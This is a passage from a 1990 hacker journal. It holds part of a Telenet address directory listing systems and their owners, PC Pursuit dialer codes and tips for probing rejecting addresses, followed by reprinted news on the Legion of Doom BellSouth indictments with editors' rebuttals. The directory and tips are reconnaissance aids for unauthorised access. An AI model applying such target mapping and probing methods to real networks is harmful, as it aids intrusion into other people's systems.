* 167
|
||
* 168
|
||
* 169
|
||
171 COMMAND UNRECOGNIZED
|
||
172 "
|
||
* 178
|
||
$ 210 PC Pursuit Dialer (300)
|
||
$ 213 PC Pursuit Dialer (1200)
|
||
$ 240 AOS
|
||
246 COMMAND UNRECOGNIZED
|
||
$ 272 AOS
|
||
* 273
|
||
$ 274 AOS
|
||
$ 275 AOS
|
||
$ 276 AOS
|
||
|
||
|
||
716--NEW YORK--ADDRESSES SCANNED: 0-200
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
23 enter user code please
|
||
25 "
|
||
31 HP-3000
|
||
50
|
||
130 enter logon request-
|
||
131 "
|
||
133 "
|
||
$ 135 VAX
|
||
|
||
|
||
717--PENNSYLVANIA--ADDRESSES SCANNED: 0-200
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
8 VM/370
|
||
* 24
|
||
* 31
|
||
* 32
|
||
* 33
|
||
* 34
|
||
40 PRIME IREX
|
||
42 PRIME IREX
|
||
45 VOS
|
||
46 VOS
|
||
47 Camp Hill Mgt. Info Center
|
||
48 "
|
||
50
|
||
51 Telenet Async to 3270
|
||
52a Telenet Async to 3270
|
||
53
|
||
* 150
|
||
* 153
|
||
* 154
|
||
* 160
|
||
* 161
|
||
* 162
|
||
* 163
|
||
|
||
|
||
801--UTAH--ADDRESSES SCANNED: 0-500
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
$ 12 PC Pursuit Dialer (2400)
|
||
$ 20 PC Pursuit Dialer (300)
|
||
$ 21 PC Pursuit Dialer (1200)
|
||
24 Wasatch System
|
||
25 "
|
||
26 "
|
||
27 "
|
||
$ 35 ID
|
||
* 37
|
||
$ 39 AOS
|
||
$ 44 AOS
|
||
$ 49 AOS
|
||
$ 52 AOS
|
||
$ 54 VAX
|
||
$ 57 AOS
|
||
$ 60 AOS
|
||
$ 62 AOS
|
||
$ 65 AOS
|
||
$ 130 AOS
|
||
144
|
||
* 150
|
||
$ 151 AOS
|
||
* 152
|
||
$ 153 AOS
|
||
176
|
||
$ 231 AOS
|
||
$ 232 AOS
|
||
$ 239 AOS
|
||
250 ID?>
|
||
257
|
||
258
|
||
|
||
|
||
802--VERMONT--ADDRESSES SCANNED: 0-200
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
$ 31 AOS
|
||
$ 32 AOS
|
||
$ 33 ID
|
||
* 35
|
||
* 36
|
||
$ 37 AOS
|
||
$ 38 AOS
|
||
|
||
|
||
803--SOUTH CAROLINA--ADDRESSES SCANNED: 0-200
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
* 30
|
||
* 32
|
||
$ 50
|
||
$ 51 KEMET ELECTRONICS
|
||
* 55
|
||
60 Telenet Async to 3270
|
||
61a Telenet Async to 3270
|
||
$ 70 AOS
|
||
* 71
|
||
* 74
|
||
$ 77 AOS
|
||
131 Kemet
|
||
132a Telenet Async to 3270
|
||
* 133
|
||
$ 135 PRIME PRISM
|
||
|
||
|
||
804--VIRGINIA--ADDRESSES SCANNED: 0-200
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
35 VAX
|
||
* 43
|
||
* 45
|
||
$ 60 ID
|
||
* 61
|
||
* 62
|
||
* 155
|
||
$ 160 AOS
|
||
|
||
|
||
805--CALIFORNIA--ADDRESSES SCANNED: 0-200
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
$ 30 AOS
|
||
50 VAX
|
||
51 VAX
|
||
* 58
|
||
* 59
|
||
* 60
|
||
* 61
|
||
* 62
|
||
* 63
|
||
* 64
|
||
* 65
|
||
* 74
|
||
90
|
||
100
|
||
101 UNIX salt.acc.com
|
||
130
|
||
150 PRIME MBM
|
||
|
||
|
||
808--HAWAII--ADDRESSES SCANNED: 0-200
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
$ 40 VAX
|
||
100 PRIME
|
||
|
||
|
||
811--GTE--ADDRESSES SCANNED: 0-300
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
* 15
|
||
17 HP-3000
|
||
21 UNIX GTE RPU2
|
||
22 UNIX GTE IPU
|
||
24 UNIX GTE RPU1
|
||
25 TACL 1>
|
||
28 TACL 1>
|
||
118 CANNOT EXEC!
|
||
123 HP-3000
|
||
* 129
|
||
* 143
|
||
* 217
|
||
* 219
|
||
|
||
|
||
812--INDIANA--ADDRESSES SCANNED: 0-200
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
$ 30 AOS
|
||
|
||
|
||
813--FLORIDA--ADDRESSES SCANNED: 0-700
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
$ 20 PC Pursuit Dialer (300)
|
||
$ 21 PC Pursuit Dialer (1200)
|
||
* 33
|
||
35 PRIME S9750
|
||
43 ** 4200 TERMINAL TYPE:
|
||
$ 52 DEC-20 Price Waterhouse
|
||
$ 53 VAX
|
||
$ 55 PRICE WATERHOUSE
|
||
$ 59 Telenet Async to 3270
|
||
73 VM/370
|
||
74 ** 4200 TERMINAL TYPE:
|
||
* 76
|
||
$ 124 PC Pursuit Dialer (2400)
|
||
131 IBM INFORMATION SERVICES
|
||
143 "
|
||
147 "
|
||
* 148
|
||
* 151
|
||
* 153
|
||
* 154
|
||
160 VAX
|
||
161 VAX
|
||
164 VAX
|
||
* 165
|
||
166a Telenet Async to 3270
|
||
* 167
|
||
$ 169 GS/1
|
||
172 IBM INFORMATION SERVICES
|
||
174 "
|
||
210
|
||
214
|
||
215
|
||
218
|
||
* 222
|
||
$ 225 ----SECURITY SUBSYSTEM----
|
||
$ 226 "
|
||
* 265
|
||
267 IBM INFORMATION SERVICES
|
||
$ 268 U#=
|
||
269a VAX Addidas
|
||
271 Access Code:
|
||
272 PRIME
|
||
275 Access Code:
|
||
277 U#=
|
||
* 330
|
||
344 TACL 1>
|
||
346 "
|
||
350 VAX
|
||
* 351
|
||
355
|
||
* 360
|
||
* 361
|
||
430 Telenet Async to 3270
|
||
431a Telenet Async to 3270
|
||
436 U#=
|
||
438 VAX DEC/ETONIC
|
||
* 460
|
||
465 Martin Marietta
|
||
466 Martin Marietta
|
||
467 Enter Switch Characters
|
||
468 "
|
||
660
|
||
|
||
|
||
814--PENNSYLVANIA--ADDRESSES SCANNED: 0-200
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
50 PRIME SYSA
|
||
* 53
|
||
$ 130 VAX
|
||
$ 137 AOS
|
||
|
||
|
||
816--MISSOURI--ADDRESSES SCANNED: 0-200
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
36
|
||
* 38
|
||
* 43
|
||
$ 44 AOS
|
||
* 45
|
||
$ 57 AOS
|
||
$ 58 AOS
|
||
* 59
|
||
$ 62
|
||
77
|
||
$ 104 PC Pursuit Dialer (300)
|
||
$ 113 PC Pursuit Dialer (1200)
|
||
$ 150
|
||
* 157
|
||
* 161
|
||
189 CDCNET
|
||
|
||
|
||
817--TEXAS--ADDRESSES SCANNED: 0-200
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
* 33
|
||
$ 35 PRIME FWRTH
|
||
* 36
|
||
* 37
|
||
141 VAX Tandy Information Service
|
||
* 160
|
||
* 161
|
||
* 162
|
||
|
||
|
||
818--CALIFORNIA--ADDRESSES SCANNED: 0-200
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
* 20
|
||
$ 21 PC Pursuit Dialer (1200)
|
||
* 29
|
||
* 50
|
||
$ 130
|
||
* 139
|
||
|
||
|
||
888--GTE HAWAIIAN TELEPHONE--ADDRESSES SCANNED: 0-200
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
* 25
|
||
$ 51
|
||
* 52
|
||
$ 53 PRIME HAWAII
|
||
* 30
|
||
* 45
|
||
* 50
|
||
|
||
|
||
890--UNKNOWN--ADDRESSES SCANNED: 0-200
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
$ 100 ADTN USER ID
|
||
$ 102 "
|
||
$ 103 "
|
||
$ 109 GS/1
|
||
$ 110 ADTN USER ID
|
||
$ 125 "
|
||
$ 126 "
|
||
$ 129 "
|
||
|
||
|
||
901--TENNESSEE--ADDRESSES SCANNED: 0-300
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
* 30
|
||
* 134
|
||
|
||
|
||
904--FLORIDA--ADDRESSES SCANNED: 0-400
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
$ 34 AOS
|
||
$ 41 AOS
|
||
$ 45 AOS
|
||
$ 50 AOS
|
||
51 COMMAND UNRECOGNIZED
|
||
52 COMMAND UNRECOGNIZED
|
||
53 COMMAND UNRECOGNIZED
|
||
$ 55 AOS
|
||
$ 56 AOS
|
||
$ 58 ID
|
||
* 60
|
||
141
|
||
* 160
|
||
* 161
|
||
232
|
||
* 235
|
||
|
||
|
||
907--ALASKA--ADDRESSES SCANNED: 0-200
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
$ 31 ID
|
||
* 32
|
||
$ 33 AOS
|
||
* 34
|
||
$ 35 AOS
|
||
$ 44
|
||
$ 45 AOS
|
||
* 46
|
||
$ 47 AOS
|
||
$ 48 AOS
|
||
* 50
|
||
* 51
|
||
$ 130 AOS
|
||
138
|
||
|
||
|
||
909--TELENET--ADDRESSES SCANNED: 0-1000
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
$ 3 Telenet Port
|
||
8 PRIME
|
||
9 PRIME
|
||
10 PRIME
|
||
12 PRIME
|
||
13
|
||
14 Telenet Port
|
||
23 PRIME
|
||
26 PRIME
|
||
27 PRIME
|
||
38 PRIME
|
||
39 USER ID
|
||
44 PRIME
|
||
52
|
||
53 PRIME
|
||
54
|
||
56 PRIME
|
||
60 PRIME
|
||
61 PRIME
|
||
62 PRIME
|
||
63 PRIME
|
||
65 PRIME
|
||
73 PRIME
|
||
77 PRIME
|
||
78 PRIME
|
||
79 MHP201A
|
||
90 PRIME
|
||
92 PRIME
|
||
94 PRIME
|
||
95 PRIME
|
||
97 PRIME
|
||
98 PRIME
|
||
100 PRIME
|
||
101 USER ID
|
||
102 USER ID
|
||
104
|
||
117 PRIME
|
||
123 PRIME
|
||
130 PRIME
|
||
131 PRIME
|
||
136 PRIME
|
||
137 PRIME
|
||
139 PRIME
|
||
141 PRIME
|
||
143 PRIME
|
||
144 PRIME
|
||
146 PRIME Telemail
|
||
147 PRIME "
|
||
148 PRIME "
|
||
149 PRIME "
|
||
151
|
||
153 TACL 1>
|
||
154 "
|
||
155 PRIME Telemail
|
||
158 PRIME "
|
||
159 PRIME "
|
||
160 PRIME "
|
||
161 PRIME "
|
||
162 PRIME
|
||
165 PRIME Telemail
|
||
168 PRIME "
|
||
* 170
|
||
171
|
||
172
|
||
173 PRIME
|
||
176 PRIME
|
||
178 USER ID
|
||
179 "
|
||
184 "
|
||
187
|
||
197
|
||
198
|
||
205 PRIME
|
||
206 PRIME
|
||
235 PRIME
|
||
236 PRIME
|
||
239 PRIME
|
||
$ 312 !Load and Function Tester
|
||
$ 314 "
|
||
316 "
|
||
$ 317 "
|
||
318 "
|
||
319 "
|
||
325
|
||
328 !Load and Function Tester
|
||
330 FRAME TESTER?
|
||
338 !Load and Function Tester
|
||
400 PRIME Telemail
|
||
401 PRIME "
|
||
403 PRIME "
|
||
404 PRIME "
|
||
406 PRIME "
|
||
407 PRIME
|
||
408 PRIME
|
||
409 PRIME
|
||
508 PRIME
|
||
600 VAX
|
||
615 PRIME
|
||
622 PRIME
|
||
623 PRIME
|
||
624 PRIME
|
||
626 PRIME
|
||
627 PRIME
|
||
628 PRIME
|
||
629 PRIME
|
||
630 PRIME
|
||
631 PC Pursuit BBS
|
||
632
|
||
633
|
||
634
|
||
635
|
||
643 PRIME
|
||
646
|
||
650 PRIME
|
||
651 PRIME
|
||
656
|
||
657
|
||
658
|
||
659
|
||
660
|
||
661
|
||
663
|
||
664
|
||
675 PRIME
|
||
676 PRIME
|
||
677 PRIME
|
||
678 PRIME
|
||
679 PRIME
|
||
680 PRIME
|
||
686 Telenet FE BBS1
|
||
747
|
||
751 TELENET MUS/XA NETWORK
|
||
761 PRIME Telemail
|
||
762 PRIME
|
||
763 PRIME
|
||
764 Telenet Async to 3270
|
||
767 TELENET NUS/XA NETWORK
|
||
770 PRIME
|
||
772 PRIME
|
||
773 PRIME
|
||
777 Telenet Async to 3270
|
||
779 "
|
||
781 "
|
||
782 "
|
||
784 "
|
||
798 PRIME
|
||
799 PRIME
|
||
800 PRIME
|
||
801 PRIME
|
||
805 PRIME
|
||
810 PRIME
|
||
811 PRIME
|
||
815 PRIME
|
||
816 PRIME
|
||
817 PRIME
|
||
818 PRIME
|
||
819 PRIME
|
||
822 PRIME
|
||
823 PRIME
|
||
824 PRIME
|
||
825 PRIME
|
||
826 PRIME
|
||
827 PRIME
|
||
828 PRIME
|
||
830 PRIME
|
||
831 PRIME
|
||
832 PRIME
|
||
833 PRIME
|
||
834 PRIME
|
||
840 PRIME Telemail
|
||
841 PRIME "
|
||
842 PRIME "
|
||
843 PRIME "
|
||
844 PRIME "
|
||
845 PRIME "
|
||
846
|
||
847
|
||
848 PRIME Telemail
|
||
893 PRIME
|
||
894 PRIME
|
||
900 PRIME
|
||
901 PRIME
|
||
902 PRIME
|
||
911 PRIME
|
||
912 PRIME
|
||
|
||
|
||
910--TELENET--ADDRESSES SCANNED: VARIOUS
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
100 PRIME
|
||
200 PRIME
|
||
300 PRIME
|
||
400 PRIME
|
||
500 PRIME
|
||
|
||
|
||
912--GEORGIA--ADDRESSES SCANNED: 0-200
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
30
|
||
* 31
|
||
|
||
|
||
913--KANSAS--ADDRESSES SCANNED: 0-200
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
$ 32 ID
|
||
* 34
|
||
$ 150 PRIME TOPEKA
|
||
|
||
|
||
914--NEW YORK--ADDRESSES SCANNED: 0-200
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
$ 32 VM/370
|
||
33 VM/370
|
||
34 >>
|
||
35 >>
|
||
* 38
|
||
$ 41 VM/370 Pepsi
|
||
* 42
|
||
50 Mnematics
|
||
133
|
||
* 160
|
||
|
||
|
||
916--CALIFORNIA--ADDRESSES SCANNED: 0-700
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
$ 7 PC Pursuit Dialer (2400)
|
||
$ 11 PC Pursuit Dialer (300)
|
||
$ 12 PC Pursuit Dialer (1200)
|
||
$ 30 AOS
|
||
$ 33 AOS
|
||
$ 34 PRIME SACRA
|
||
$ 36 ID
|
||
$ 39 AOS
|
||
$ 40 AOS
|
||
$ 41 ID
|
||
55 PRIME FIMSAC
|
||
$ 56 AOS
|
||
$ 57 AOS
|
||
$ 58 AOS
|
||
$ 59 AOS
|
||
$ 63 AOS
|
||
$ 64 AOS
|
||
$ 130 AOS
|
||
$ 131 AOS
|
||
$ 132 AOS
|
||
$ 133 AOS
|
||
$ 134 AOS
|
||
$ 141 AOS
|
||
$ 168 AOS
|
||
* 169
|
||
* 171
|
||
$ 232 AOS
|
||
$ 233 AOS
|
||
* 234
|
||
$ 235 AOS
|
||
$ 236 AOS
|
||
240
|
||
268 Telenet Async to 3270
|
||
* 330
|
||
* 331
|
||
* 332
|
||
* 333
|
||
* 334
|
||
* 335
|
||
* 336
|
||
* 337
|
||
* 338
|
||
* 339
|
||
350
|
||
* 360
|
||
* 361
|
||
* 362
|
||
* 363
|
||
* 364
|
||
* 365
|
||
* 366
|
||
* 367
|
||
* 368
|
||
* 369
|
||
$ 530
|
||
* 531
|
||
607 UNIX IPA State Net
|
||
608 UNIX IPA State Net
|
||
|
||
|
||
918--OKLAHOMA--ADDRESSES SCANNED: 0-200
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
$ 30 ID
|
||
40 CUSTOMER ID:
|
||
105 American Airlines
|
||
130 American Airlines
|
||
|
||
|
||
919--NORTH CAROLINA--ADDRESSES SCANNED: 0-200
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
$ 20 PC Pursuit Dialer (300)
|
||
$ 21 PC Pursuit Dialer (1200)
|
||
$ 33 ID
|
||
$ 34 AOS
|
||
* 36
|
||
* 38
|
||
43 enter system id
|
||
44 "
|
||
46 "
|
||
47 VM/370 Northern Telcom
|
||
* 58
|
||
$ 59 AOS
|
||
* 60
|
||
$ 70 HP-3000
|
||
$ 124 PC Pursuit Dialer (2400)
|
||
$ 130 HP-3000
|
||
135 USA TODAY Sports Center
|
||
* 139
|
||
$ 145
|
||
* 158
|
||
* 159
|
||
|
||
|
||
MNEMONIC ADDRESSES
|
||
------------------
|
||
|
||
$ AFS
|
||
APPLE
|
||
BCS
|
||
BIONET
|
||
BLUE
|
||
BRS
|
||
CCC03
|
||
CMS
|
||
$ COM
|
||
D30
|
||
D31
|
||
D32
|
||
D33
|
||
D34
|
||
D35
|
||
D36
|
||
D37
|
||
D41
|
||
D42
|
||
D43
|
||
D44
|
||
D45
|
||
D46
|
||
D50
|
||
D51
|
||
D52
|
||
D53
|
||
D54
|
||
D55
|
||
D56
|
||
D57
|
||
D58
|
||
D61
|
||
D62
|
||
D63
|
||
D64
|
||
DELPHI
|
||
DOW
|
||
DUNS
|
||
EIES
|
||
GOLD
|
||
GTEM
|
||
HHTRAN
|
||
INFO
|
||
IRIS
|
||
MMM
|
||
MUNI
|
||
NASA
|
||
NET
|
||
NSF
|
||
OAG
|
||
OLS
|
||
ORBIT
|
||
PORTAL
|
||
PRIME
|
||
S10
|
||
S11
|
||
S12
|
||
S13
|
||
S14
|
||
S15
|
||
S16
|
||
S17
|
||
S18
|
||
S19
|
||
SIS
|
||
SIT
|
||
SPR
|
||
STK1
|
||
STK2
|
||
STK3
|
||
STK4
|
||
SUMEX
|
||
USIBM
|
||
USPS
|
||
VUTEXT
|
||
|
||
|
||
|
||
PC-PERSUIT DIALERS
|
||
------------------
|
||
|
||
C D/CITY/BAUD,ID,PASSWORD
|
||
|
||
A/C CITY
|
||
--- -----
|
||
201 NJNEW
|
||
202 DCWAS
|
||
203 CTHAR
|
||
206 WASEA
|
||
212 NYNYO
|
||
213 CALAN
|
||
214 TXDAL
|
||
215 PAPHI
|
||
216 OHCLV
|
||
303 CODEN
|
||
305 FLMIA
|
||
312 ILCHI
|
||
313 MIDET
|
||
314 MOSLO
|
||
404 GAATL
|
||
408 CASJO
|
||
414 WIMIL
|
||
415 CAPAL
|
||
415 CASFA
|
||
503 ORPOR
|
||
602 AZPHO
|
||
612 MNMIN
|
||
617 MABOS
|
||
619 CASAD
|
||
713 TXHOU
|
||
714 CARIV
|
||
714 CASAN
|
||
801 UTSLC
|
||
813 FLTAM
|
||
816 MOKAN
|
||
818 CAGLE
|
||
916 CASAC
|
||
919 NCRTP
|
||
|
||
|
||
|
||
TELENET SCANNING TIPS
|
||
--------------------
|
||
|
||
There are a few things to take into consideration when using Telenet.
|
||
First of all, ignore error messages! When something says rejecting, or
|
||
illegal address, or remote procedure error, try it again using sub-
|
||
addresses. (IE: 100100a, 100100b...100100.99) I have also found that
|
||
some addresses that are rejecting merely require that you connect to it
|
||
using an id. Many of the things that respond with illegal address are
|
||
telenet pads. Most of the public pads are in the following ranges: 0-20,
|
||
80-100, 180-190. Many times you will find private pads. If you are very,
|
||
very lucky you will find that pad-to-pad connections are possible to these
|
||
privately owned pads. However, most of the time they are not operating, so
|
||
your chances of actually picking anything up are very slim.
|
||
|
||
When I did this directory I only checked the first few sub addresses on
|
||
addresses that didn't immediately connect, so needless to say there are
|
||
still a vast amount of systems out there. One address I have responds with
|
||
rejecting until you connect to the sub address 74! Imagine trying to go
|
||
that far on each of the thousands of rejecting and illegal addresses I
|
||
obtained in my scanning! Maybe some other time.
|
||
|
||
There are several areas that I scanned that are not in this directory.
|
||
Mainly, these are areas where I didn't find anything. So you don't waste
|
||
your time, all hosts in Canada are served through Datapac, so there is
|
||
nothing in areas prefixed with a Canadian area code. There are also many
|
||
US areas that I guess are still striving for the Industrial Revolution, and
|
||
therefore have no systems online. There are also several privately owned
|
||
prefixes that I didn't scan just because it would be a pain in the ass,
|
||
above and beyond the pain involved doing the main scanning. The major ones
|
||
are 622 (NYNEX), 891, 892, 893, & 894 (OWNERS UNKNOWN). There are also a
|
||
few others that go up and down daily, depending upon their mood. I
|
||
wouldn't suggest that you all immediately start hacking these prefixes;
|
||
mainly because you will need an ID just to get a response other than
|
||
refused collect connection.
|
||
|
||
Lastly, if anyone finds any errors in the directory, or finds anything I
|
||
omitted, let me know, and I'll revise it. Also, if anyone would like a
|
||
copy of the telix script I used to do this scanning, let me know. This was
|
||
a bitch to do, but I think it was worth the trouble. The next update won't
|
||
be for a year, as this should suffice for at least that long.
|
||
|
||
|
||
==============================================================================
|
||
End of Second Half of LOD/H Telenet Directory, Rev. #5
|
||
==============================================================================
|
||
The LOD/H Technical Journal, Issue #4: File 10 of 10.
|
||
|
||
|
||
|
||
NETWORK NEWS AND NOTES
|
||
----------------------
|
||
|
||
|
||
The Network News and Notes file contains reprints of articles that are of
|
||
interest to the majority of our intended readers. In this installment we
|
||
borrowed heavily from the CFCA (Communications Fraud Control Association)
|
||
Communicator since the newsletter deals specifically with issues relevant to
|
||
our readers. The CFCA is "a nonprofit educational organization founded in
|
||
1985 to help the telecommunications industry combat fraud."
|
||
|
||
Overall, do not let the titles mislead you. Every article contains interesting
|
||
and we hope useful information. Be sure to take the time and read into them
|
||
before skipping. Some are a little old but better late than never. If anyone
|
||
comes across any articles of interest, we would like to know about them. One
|
||
more note, all comments within brackets [], are remarks made by one of
|
||
the TJ editors.
|
||
|
||
The first two articles, as was stated in the Introduction, relate the various
|
||
trouble some noted members of the community ran into.
|
||
|
||
______________________________________________________________________________
|
||
|
||
|
||
Source: The Wall Street Journal
|
||
Issue: Wednesday, February 7, 1990
|
||
Title: Computer Hackers Accused of Scheme Against BellSouth
|
||
Author: Thomas M. Burton
|
||
|
||
|
||
CHICAGO--Federal grand juries in Chicago and Atlanta indicted four computer
|
||
hackers in an alleged fraud scheme that authorities said could potentially
|
||
disrupt emergency "911" telephone service throughout nine Southern States.
|
||
|
||
The men, alleged to be part of a closely knit cadre of computer hackers
|
||
known as the Legion of Doom, gained access to the computer system, controlling
|
||
telephone emergency service of BellSouth Corp., the Atlanta-based
|
||
telecommunications giant.
|
||
|
||
BellSouth, through two subsidiaries, oversees phone service in Alabama,
|
||
Mississippi, Georgia, Tennessee, Kentucky, Louisiana, Florida, and the
|
||
Carolinas.
|
||
|
||
The Chicago indictment said members of the Legion of Doom are engaged in
|
||
disrupting telephone service by entering a telephone company's computers and
|
||
changing the routing of telephone calls. The hackers in the group also
|
||
fraudulently obtain money from companies by altering information in their
|
||
computers, the indictment said.
|
||
|
||
|
||
The hackers transferred stolen telephone-computer information from
|
||
BellSouth to what prosecutors termed a "computer bulletin board system"
|
||
in Lockport, Ill. In turn, the men planned to publish the computer data in a
|
||
hackers' magazine, the grand jury charged.
|
||
|
||
-----EDITOR'S NOTES:
|
||
As always, ignorance and falsehoods are abound in most articles of this
|
||
nature. For the record, NO TELEPHONE SERVICE WAS INTENTIONALLY DISRUPTED DUE
|
||
TO THE ACCUSED MEMBERS. Furthermore, NO MONEY FROM COMPANIES WAS EVER
|
||
FRAUDULENTLY OBTAINED BY ALTERING INFORMATION IN THEIR COMPUTERS. These are
|
||
the typical WILD accusations made by law enforcement and further distorted
|
||
by the media in such cases. As for the bbs is Lockport, Ill. well it was
|
||
simply a legitimate information storage and retrieval system used by many,
|
||
many people for legitimate purposes of information exchange. It would be very
|
||
time consuming for the operator of said system to check every file on the
|
||
system as it was a UNIX based system with a lot of disk space. The hacker
|
||
magazine stated above is simply Phrack, Inc. put out by Knight Lightning and
|
||
Taran King. More comments after next article.
|
||
|
||
|
||
_____________________________________________________________________________
|
||
|
||
Source: ComputerWorld
|
||
Issue: 1990
|
||
Title: Babes in high tech toyland nabbed
|
||
Author: Michael Alexander
|
||
|
||
CHICAGO--- The U.S. Justice Department escalated its ware against computer
|
||
crime last week with two indictments against members of an alleged computer
|
||
hacker group, who are charged with stealing a copy of a 911 emergency computer
|
||
program from BellSouth Telephone Co., among several other crimes.
|
||
|
||
In a seven-count indictment returned in Chicago, Robert X, 20 also known as
|
||
"The Prophet", is alleged to have used a computer to steal a copy of a
|
||
computer program owned and used by BellSouth that controls emergency calls to
|
||
the police, fire, ambulance and emergency services in cities throughout nine
|
||
Southern states. According to the indictment, after X stole the program --
|
||
valued at $79,449 -- he uploaded it to a computer bulletin board.
|
||
|
||
The Chicago indictment further alleges that Craig Y, 19, also known as
|
||
"Knight Lightning" downloaded the 911 program to his computer at the
|
||
University of Missouri in Columbia, Mo., and edited it for publication in
|
||
"Phrack", a newsletter for computer hackers.
|
||
|
||
X and Y allegedly intended to disclose the stolen information to other
|
||
computer hackers so that they could unlawfully access and perhaps disrupt
|
||
other 911 services, the Chicago indictment charged.
|
||
|
||
In a second indictment returned in Atlanta, X and two others were charged
|
||
with additional crimes related to BellSouth systems.
|
||
|
||
All four hackers allegedly are members of the Legion of Doom, described in
|
||
the indictments "as a closely knit group of about 15 computer hackers", in
|
||
Georgia, Texas, Michigan and several other states.
|
||
|
||
BellSouth spokesmen refused to say when or how the intrusion was detected
|
||
or how a computer hacker was able to lift the highly sensitive and proprietary
|
||
computer program.
|
||
|
||
"Hopefully, the government's action underscores that we do not intend to
|
||
view this as the work of a mischievous prankster playing in a high-tech
|
||
toyland", one spokesman said.
|
||
|
||
A source within BellSouth said that much of what the hacker took was
|
||
documentation and not source code. "They did not disrupt any emergency
|
||
telephone service, and we are not aware of any impact on our customers", the
|
||
source said.
|
||
|
||
William Cook, an assistant U.S. attorney in Chicago, declined to comment on
|
||
whether 911 service was actually disrupted. "It is a matter of evidence,", he
|
||
said.
|
||
|
||
Cook also said that while the two hackers are charged with carrying out
|
||
their scheme between December 1988 and February 1989, the indictment came
|
||
after a year-long investigation. Though Cook refused to say how the hackers
|
||
were discovered or caught, it is believed that after the initial penetration
|
||
by one of the hackers, an intrusion task force was set up to monitor
|
||
subsequent security breaches and to gather evidence against the hackers.
|
||
|
||
If convicted on all counts, X faces a prison sentence of up to 32 years and
|
||
a maximum fine of $222,000, and Y faces a prison sentence of 31 years and a
|
||
maximum fine of $122,000.
|
||
|
||
The Atlanta indictment charged Robert X, Adam Z, 22 known as "The Urvile"
|
||
and also "Necron 99", and Frank XYZ, 23 known as "The Leftist", with eight
|
||
counts each of computer fraud, wire fraud, access code fraud and interstate
|
||
transportation of stolen property, among other crimes.
|
||
|
||
If convicted, each defendant faces up to five years imprisonment and a
|
||
$250,000 fine on each count. The three illegally accessed Bellsouth computers
|
||
and obtained proprietary information that they distributed to other hackers,
|
||
the indictment alleged.
|
||
|
||
----EDITOR's NOTES: As is confirmed in this article, no telephone service
|
||
was disrupted. The extent of BellSouth's inadequacy regarding security matters
|
||
was not detailed in these articles. Here is a rundown of what may have
|
||
possibly happened: BellSouth's SBDN (Southern Bell Data Network) which is a
|
||
modified Telenet network that contains hundreds if not thousands of network
|
||
nodes (individual systems) may have been accessed during which time the system
|
||
that controls the entire network may have been possibly compromised. This
|
||
would allow someone to access just about any system on the network, since
|
||
Bellsouth consolidated most of their individual systems onto a large network
|
||
(economically not a bad idea, but a security nightmare indeed). This may allow
|
||
one to stumble onto systems dealing with 911. Since it may be interesting to
|
||
learn how such a system operates and how the 'automatic trace' is
|
||
accomplished, the documentation would be of some help. No need for any actual
|
||
programs however. Possibly, maybe, an article paraphrased the operation of 911
|
||
and was possibly to be distributed through the Phrack, Inc. newsletter.
|
||
|
||
The last names of those involved were omitted. Go look them up for yourself if
|
||
you think its that important.
|
||
|
||
Just for the record: KNIGHT LIGHTNING NEVER WAS A MEMBER OF LOD. Yet another
|
||
error in the reporting...LOD has half the 15 supposed number of members.
|
||
|
||
Another article followed the above one on the same page, by the same author:
|
||
|
||
